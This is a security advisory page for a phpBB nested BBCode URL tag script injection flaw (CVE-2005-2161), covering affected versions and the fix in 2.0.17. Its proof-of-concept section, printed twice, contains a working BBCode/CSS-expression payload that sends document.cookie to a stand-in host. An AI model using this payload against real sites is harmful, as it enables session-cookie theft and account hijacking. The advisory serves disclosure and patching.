PHPBB Nested BBCode URL Tag Script Injection Vulnerability
BID:14151
Info
PHPBB Nested BBCode URL Tag Script Injection Vulnerability
| Bugtraq ID: | 14151 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-2161 |
| Remote: | Yes |
| Local: | No |
| Published: | May 20 2005 12:00AM |
| Updated: | Mar 19 2015 08:30AM |
| Credit: | "alex" <[email protected]> is credited with the discovery of this vulnerability. |
| Vulnerable: |
phpBB Group phpBB 2.0.16 phpBB Group phpBB 2.0.13 |
| Not Vulnerable: |
phpBB Group phpBB 2.0.17 |
Discussion
PHPBB Nested BBCode URL Tag Script Injection Vulnerability
phpBB is prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
phpBB is prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Exploit / POC
PHPBB Nested BBCode URL Tag Script Injection Vulnerability
No exploit is required.
The following proof of concept is available:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'styl
e='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.example.com/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/u
rl][/url]'[/color]
No exploit is required.
The following proof of concept is available:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'styl
e='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.example.com/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/u
rl][/url]'[/color]
Solution / Fix
PHPBB Nested BBCode URL Tag Script Injection Vulnerability
Solution:
The vendor has addressed this issue in phpBB version 2.0.17.
Debian has released security advisory DSA 768-1 addressing this issue. Please see the referenced advisory for details on obtaining and applying the appropriate updates.
phpBB Group phpBB 2.0.13
phpBB Group phpBB 2.0.16
Solution:
The vendor has addressed this issue in phpBB version 2.0.17.
Debian has released security advisory DSA 768-1 addressing this issue. Please see the referenced advisory for details on obtaining and applying the appropriate updates.
phpBB Group phpBB 2.0.13
-
phpBB Group phpBB 2.0.17
http://www.phpbb.com/downloads.php
phpBB Group phpBB 2.0.16
-
phpBB Group phpBB 2.0.17
http://www.phpbb.com/downloads.php
References
PHPBB Nested BBCode URL Tag Script Injection Vulnerability
References:
References:
- phpBB 2.0.17 released (phpBB Group)